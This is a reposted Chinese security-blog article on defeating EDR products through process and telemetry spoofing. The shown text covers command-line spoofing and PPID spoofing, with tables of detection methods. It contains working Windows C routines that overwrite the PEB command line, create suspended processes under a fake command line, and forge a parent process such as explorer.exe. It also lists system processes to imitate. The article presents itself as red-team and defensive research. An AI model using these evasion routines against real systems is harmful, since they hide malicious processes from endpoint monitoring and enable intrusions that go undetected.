EDR攻击技术-进程与遥测欺骗

admin 2026-09-22 06:21:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统介绍EDR攻击中的进程与遥测欺骗技术,涵盖命令行欺骗、PPID欺骗、ETW/AMSI补丁、映像欺骗、Unhooking与直接/间接系统调用等,并给出技术组合与实战链路。核心思路是主动操纵进程属性与遥测通道,使EDR看到虚假但合法的输入,同时指出各技术的检测局限与反制方法。 综合评分: 85 文章分类: 红队,免杀,恶意软件,安全工具,渗透测试


EDR攻击技术-进程与遥测欺骗

原创

pandazhengzheng pandazhengzheng

安全分析与研究

2026年9月19日 22:00 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

目录

  1. 进程欺骗概述
  2. 命令行欺骗(Command Line Spoofing)
  3. PPID 欺骗(PPID Spoofing)
  4. ETW Patch
  5. AMSI-AV Patching
  6. AMSI-Hooks Patching
  7. AMSI Bypass
  8. Image Spoofing
  9. Unhooking 与 ntdll 恢复
  10. Direct Syscalls
  11. Indirect Syscalls
  12. 挂起进程与 Early Bird 注入
  13. 技术组合与实战链路
  14. 小结

1. 进程欺骗概述

1.1 进程欺骗的定位

前 3 篇聚焦检测机制,本篇转向攻击技术——主动操纵进程属性与遥测通道,使 EDR 的输入”看起来合法”。

进程欺骗的核心目标:

| 目标 | 手段 | 对抗的检测 | | — | — | — | | 命令行合法 | 命令行欺骗 | 进程信息查询、行为关联 | | 父进程合法 | PPID 欺骗 | 进程树分析 | | 遥测抑制 | ETW/AMSI Patch | 事件采集、脚本扫描 | | 映像合法 | Image Spoofing | 映像加载回调、PEB 解析 | | API 调用隐蔽 | Unhooking / Syscalls | 用户态 hook |

1.2 欺骗的层次

进程属性欺骗          遥测通道抑制          API 调用隐蔽
├─ 命令行欺骗        ├─ ETW Patch          ├─ Unhooking
├─ PPID 欺骗         ├─ AMSI-AV Patch      ├─ Direct Syscalls
└─ Image Spoofing    ├─ AMSI-Hooks Patch   └─ Indirect Syscalls
                     └─ AMSI Bypass

1.3 欺骗 vs 规避

  • 欺骗(Spoofing):主动伪造属性/信息,使 EDR 看到虚假但合法的输入;
  • 规避(Evasion):绕过检测通道,使 EDR 看不到某些输入;
  • 抑制(Suppression):关闭/破坏检测通道,使 EDR 无法接收输入。

本篇覆盖三者,但以欺骗为主线。

1.4 检测—欺骗对照

| EDR 检测 | 欺骗技术 | 效果 | | — | — | — | | PEB CommandLine 查询 | 命令行欺骗 | PEB 显示合法命令行 | | 进程树父进程检查 | PPID 欺骗 | 父进程为合法进程 | | ETW 事件采集 | ETW Patch | 事件不产生 | | AMSI 脚本扫描 | AMSI Patch/Bypass | 脚本不触发扫描 | | 映像加载回调 | Image Spoofing | 加载的映像看起来合法 | | 用户态 hook | Unhooking/Syscalls | API 调用不经 hook |


2. 命令行欺骗(Command Line Spoofing)

2.1 问题背景

EDR 通过查询进程的命令行来判断进程行为。例如:

  • powershell.exe -enc <Base64> → 可疑(编码命令);
  • cmd.exe /c whoami → 可疑(命令执行);
  • rundll32.exe shell32.dll,Control_RunDLL → 合法(控制面板)。

EDR 获取命令行的途径:

  1. ETW 事件:进程创建事件(EtwTiLogCreateProcess)包含命令行;
  2. WMI:Win32_Process.CommandLine;
  3. PEB 读取:进程的 Process Environment Block 中存储命令行;
  4. 内核回调:PsSetCreateProcessNotifyRoutine 可配合查询获取命令行。

2.2 命令行欺骗的原理

核心思路:进程创建后,修改自身 PEB 中的命令行字段,使后续查询看到伪造的命令行。

真实执行: malicious.exe -payload xxx
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓
PEB 修改: PEB.ProcessParameters.CommandLine =&nbsp;"svchost.exe -k netsvcs"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓
EDR 查询: 看到合法命令行&nbsp;"svchost.exe -k netsvcs"

2.3 PEB 结构与命令行字段

// PEB(Process Environment Block)简化结构
typedef&nbsp;struct&nbsp;_PEB&nbsp;{
&nbsp; &nbsp;&nbsp;/* ... */
&nbsp; &nbsp; PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
&nbsp; &nbsp;&nbsp;/* ... */
} PEB;

// RTL_USER_PROCESS_PARAMETERS
typedef&nbsp;struct&nbsp;_RTL_USER_PROCESS_PARAMETERS&nbsp;{
&nbsp; &nbsp;&nbsp;/* ... */
&nbsp; &nbsp; UNICODE_STRING ImagePathName; &nbsp; &nbsp;// 映像路径
&nbsp; &nbsp; UNICODE_STRING CommandLine; &nbsp; &nbsp; &nbsp;// 命令行 ← 目标
&nbsp; &nbsp;&nbsp;/* ... */
} RTL_USER_PROCESS_PARAMETERS;

// UNICODE_STRING
typedef&nbsp;struct&nbsp;_UNICODE_STRING&nbsp;{
&nbsp; &nbsp; USHORT Length; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 字节长度(不含 \0)
&nbsp; &nbsp; USHORT MaximumLength; &nbsp;// 缓冲区容量
&nbsp; &nbsp; PWSTR &nbsp;Buffer; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 指向宽字符字符串
} UNICODE_STRING;

2.4 命令行欺骗的实现

BOOL&nbsp;spoofCommandLine(LPCWSTR fakeCommandLine)&nbsp;{
&nbsp; &nbsp;&nbsp;// 1. 获取当前进程 PEB
&nbsp; &nbsp; PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock;
&nbsp; &nbsp; PRTL_USER_PROCESS_PARAMETERS params = peb->ProcessParameters;

&nbsp; &nbsp;&nbsp;// 2. 伪造命令行
&nbsp; &nbsp; SIZE_T fakeLen = wcslen(fakeCommandLine) *&nbsp;sizeof(WCHAR);

&nbsp; &nbsp;&nbsp;// 方案 A:原地覆写(如果缓冲区足够大)
&nbsp; &nbsp;&nbsp;if&nbsp;(params->CommandLine.MaximumLength >= fakeLen +&nbsp;sizeof(WCHAR)) {
&nbsp; &nbsp; &nbsp; &nbsp; RtlZeroMemory(params->CommandLine.Buffer,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; params->CommandLine.MaximumLength);
&nbsp; &nbsp; &nbsp; &nbsp; wcscpy(params->CommandLine.Buffer, fakeCommandLine);
&nbsp; &nbsp; &nbsp; &nbsp; params->CommandLine.Length = (USHORT)fakeLen;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 方案 B:分配新缓冲区
&nbsp; &nbsp; PWSTR newBuf = (PWSTR)RtlAllocateHeap(
&nbsp; &nbsp; &nbsp; &nbsp; RtlProcessHeap(),&nbsp;0, fakeLen +&nbsp;sizeof(WCHAR));
&nbsp; &nbsp;&nbsp;if&nbsp;(!newBuf)&nbsp;return&nbsp;FALSE;
&nbsp; &nbsp; wcscpy(newBuf, fakeCommandLine);
&nbsp; &nbsp; params->CommandLine.Buffer = newBuf;
&nbsp; &nbsp; params->CommandLine.Length = (USHORT)fakeLen;
&nbsp; &nbsp; params->CommandLine.MaximumLength = (USHORT)(fakeLen +&nbsp;sizeof(WCHAR));
&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
}

// 使用
spoofCommandLine(L"svchost.exe -k netsvcs -p");

2.5 命令行欺骗的时机问题

关键:命令行欺骗必须在 EDR 读取命令行之前完成。

进程创建 → EDR 收到事件 → EDR 查询命令行 → ... → 欺骗执行
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↑ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↑
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;EDR 可能在此处已读取 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;欺骗太晚!

解决方案:

| 方案 | 原理 | 优劣 | | — | — | — | | PPID 欺骗 + 挂起 | 创建挂起进程,在恢复前修改 PEB | ✅ 在 EDR 查询前修改 | | 早期修改 | 在 main() 最开始修改 | ⚠️ 可能已晚(EDR 在 CreateProcess 回调中读取) | | NtCreateProcessEx | 底层创建,跳过部分遥测 | ✅ 但复杂 |

2.6 命令行欺骗的完整流程(挂起方案)

BOOL&nbsp;createWithSpoofedCommandLine(
&nbsp; &nbsp; LPCWSTR imagePath, &nbsp; &nbsp;&nbsp;// 实际执行的映像
&nbsp; &nbsp; LPCWSTR fakeCmdLine, &nbsp;&nbsp;// 伪造的命令行
&nbsp; &nbsp; HANDLE* hProcess,
&nbsp; &nbsp; HANDLE* hThread
)&nbsp;{
&nbsp; &nbsp; STARTUPINFOEXW si = {&nbsp;sizeof(si) };
&nbsp; &nbsp; PROCESS_INFORMATION pi = {&nbsp;0&nbsp;};
&nbsp; &nbsp; SIZE_T attrSize =&nbsp;0;

&nbsp; &nbsp;&nbsp;// 1. 初始化属性列表(用于 PPID 欺骗)
&nbsp; &nbsp; InitializeProcThreadAttributeList(NULL,&nbsp;1,&nbsp;0, &attrSize);
&nbsp; &nbsp; si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
&nbsp; &nbsp; InitializeProcThreadAttributeList(si.lpAttributeList,&nbsp;1,&nbsp;0, &attrSize);

&nbsp; &nbsp;&nbsp;// 2. 以挂起方式创建进程
&nbsp; &nbsp;&nbsp;// &nbsp; &nbsp;注意:lpCommandLine 传入 fakeCmdLine
&nbsp; &nbsp;&nbsp;// &nbsp; &nbsp;这样 ETW 事件中的命令行也是伪造的
&nbsp; &nbsp; CreateProcessW(
&nbsp; &nbsp; &nbsp; &nbsp; imagePath, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 映像路径
&nbsp; &nbsp; &nbsp; &nbsp; (LPWSTR)fakeCmdLine,&nbsp;// 命令行(伪造)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;NULL, FALSE,
&nbsp; &nbsp; &nbsp; &nbsp; CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;NULL, (STARTUPINFOW*)&si, &pi);

&nbsp; &nbsp;&nbsp;// 3. 此时进程已创建但未开始执行
&nbsp; &nbsp;&nbsp;// &nbsp; &nbsp;PEB 中的命令行已是 fakeCmdLine
&nbsp; &nbsp;&nbsp;// &nbsp; &nbsp;(因为 CreateProcess 用 lpCommandLine 设置 PEB)

&nbsp; &nbsp;&nbsp;// 4. 如果需要执行真实逻辑,可通过其他方式传递
&nbsp; &nbsp;&nbsp;// &nbsp; &nbsp;如:环境变量、共享内存、文件等

&nbsp; &nbsp; *hProcess = pi.hProcess;
&nbsp; &nbsp; *hThread = pi.hThread;
&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
}

2.7 命令行欺骗的检测与局限

EDR 的反制:

| 检测方法 | 原理 | 欺骗是否有效 | | — | — | — | | ETW 进程创建事件 | 事件中包含命令行 | 取决于 CreateProcess 时传入的命令行 | | 内核回调 + 实时查询 | 进程创建时立即读 PEB | 若在回调中读取,欺骗可能太晚 | | PEB 与 ETW 交叉比对 | 比对两个来源的命令行 | 不一致 → 可疑 | | 命令行与映像匹配 | svchost.exe 应在 System32 | 路径不匹配 → 可疑 |

局限:

  • 命令行欺骗主要欺骗后续查询,进程创建事件中的命令行在创建时就已确定;
  • 若 EDR 在进程创建回调中读取 PEB,欺骗可能来不及;
  • 交叉比对可发现不一致。

2.8 实战中的命令行欺骗

常用伪装目标:

| 伪装命令行 | 场景 | | — | — | | svchost.exe -k netsvcs | 伪装系统服务 | | rundll32.exe shell32.dll,Control_RunDLL | 伪装控制面板 | | WerFault.exe -u -p <PID> | 伪装错误报告 | | notepad.exe | 伪装无害程序 | | SearchIndexer.exe | 伪装搜索索引 |

2.9 工具参考

  • spoof.cpp (cocomelonc)
  • Process Herpaderping——更底层的进程创建欺骗

3. PPID 欺骗(PPID Spoofing)

3.1 问题背景

EDR 通过进程树分析判断进程合法性。例如:

  • explorer.exe → cmd.exe → whoami.exe:用户交互启动,可能合法;
  • winword.exe → cmd.exe:Office 启动 cmd,高度可疑(文档宏攻击);
  • svchost.exe → powershell.exe:服务启动 PowerShell,需检查是否合法服务。

PPID(Parent Process ID)决定进程在进程树中的位置。PPID 欺骗使恶意进程看起来由合法父进程启动。

3.2 PPID 欺骗的原理

Windows 支持以指定父进程创建子进程——通过 STARTUPINFOEXW 的属性列表(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)。

真实: malicious.exe → child.exe
欺骗: explorer.exe (PPID) → child.exe
&nbsp; &nbsp; &nbsp;child.exe 的父进程看起来是 explorer.exe

3.3 PPID 欺骗的实现

BOOL&nbsp;createWithSpoofedPPID(
&nbsp; &nbsp; LPCWSTR applicationPath,
&nbsp; &nbsp; LPCWSTR commandLine,
&nbsp; &nbsp; DWORD targetPPID, &nbsp; &nbsp; &nbsp;// 伪造的父进程 PID
&nbsp; &nbsp; HANDLE* hProcess,
&nbsp; &nbsp; HANDLE* hThread
)&nbsp;{
&nbsp; &nbsp;&nbsp;// 1. 打开目标父进程
&nbsp; &nbsp; HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPPID);
&nbsp; &nbsp;&nbsp;if&nbsp;(!hParent)&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp;&nbsp;// 2. 初始化属性列表
&nbsp; &nbsp; STARTUPINFOEXW si = {&nbsp;sizeof(si) };
&nbsp; &nbsp; PROCESS_INFORMATION pi = {&nbsp;0&nbsp;};
&nbsp; &nbsp; SIZE_T attrSize =&nbsp;0;

&nbsp; &nbsp; InitializeProcThreadAttributeList(NULL,&nbsp;2,&nbsp;0, &attrSize);
&nbsp; &nbsp; si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
&nbsp; &nbsp; InitializeProcThreadAttributeList(si.lpAttributeList,&nbsp;2,&nbsp;0, &attrSize);

&nbsp; &nbsp;&nbsp;// 3. 设置父进程属性
&nbsp; &nbsp; UpdateProcThreadAttribute(
&nbsp; &nbsp; &nbsp; &nbsp; si.lpAttributeList,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,
&nbsp; &nbsp; &nbsp; &nbsp; PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&nbsp; &nbsp; &nbsp; &nbsp; &hParent,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sizeof(HANDLE),
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;NULL);

&nbsp; &nbsp;&nbsp;// 4. 创建进程
&nbsp; &nbsp; BOOL success = CreateProcessW(
&nbsp; &nbsp; &nbsp; &nbsp; applicationPath,
&nbsp; &nbsp; &nbsp; &nbsp; (LPWSTR)commandLine,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;NULL, FALSE,
&nbsp; &nbsp; &nbsp; &nbsp; CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;NULL, (STARTUPINFOW*)&si, &pi);

&nbsp; &nbsp;&nbsp;// 5. 清理
&nbsp; &nbsp; DeleteProcThreadAttributeList(si.lpAttributeList);
&nbsp; &nbsp;&nbsp;free(si.lpAttributeList);
&nbsp; &nbsp; CloseHandle(hParent);

&nbsp; &nbsp;&nbsp;if&nbsp;(success) {
&nbsp; &nbsp; &nbsp; &nbsp; *hProcess = pi.hProcess;
&nbsp; &nbsp; &nbsp; &nbsp; *hThread = pi.hThread;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;success;
}

// 使用:伪装为 explorer.exe 的子进程
DWORD explorerPid = findProcessId(L"explorer.exe");
createWithSpoofedPPID(L"C:\\Windows\\System32\\cmd.exe",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;L"cmd.exe",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; explorerPid, &hProc, &hThread);

3.4 PPID 欺骗的遥测信号

PPID 欺骗本身产生遥测:

| 信号 | 来源 | 可否规避 | | — | — | — | | OpenProcess(explorerPid) | ETW-TI / hook | 句柄获取行为 | | InitializeProcThreadAttributeList | 无遥测 | — | | CreateProcess with PPID | ETW-TI EtwTiLogCreateProcess | 不可规避(内核遥测) | | 进程创建事件包含 PPID | 内核回调 | 不可规避 |

关键:PPID 欺骗的结果(进程树中父进程合法)可欺骗后续分析,但过程本身产生遥测。

3.5 PPID 欺骗的检测

EDR 的反制:

| 检测方法 | 原理 | 是否有效 | | — | — | — | | 进程创建事件中 PPID 字段 | 直接检查 | PPID 合法 → 无法仅凭 PPID 判定 | | PPID 与映像匹配 | svchost.exe 应由 services.exe 启动 | ✅ 可检测不匹配 | | 进程创建属性检查 | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 使用 | ⚠️ 需深入检查 | | 历史行为关联 | 父进程未执行 CreateProcess | ✅ 可发现”幽灵子进程” |

3.6 常用 PPID 欺骗目标

| 目标父进程 | 伪装场景 | 注意 | | — | — | — | | explorer.exe | 用户启动的程序 | 最常用 | | services.exe | 系统服务 | 需匹配服务映像 | | svchost.exe | 服务宿主 | 需匹配服务组 | | spoolsv.exe | 打印服务 | 历史攻击常用 |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《EDR攻击技术-进程与遥测欺骗》

SRC关联供应链侧焚决 网络安全文章

SRC关联供应链侧焚决

文章总结: 本文为掌控安全EDU发布的直播课程推广软文,主题为SRC关联供应链侧漏洞挖掘,聚焦资产上下游关联梳理、威胁情报补录隐形资产及供应链源码深挖掘等核心内
评论:0   参与:  0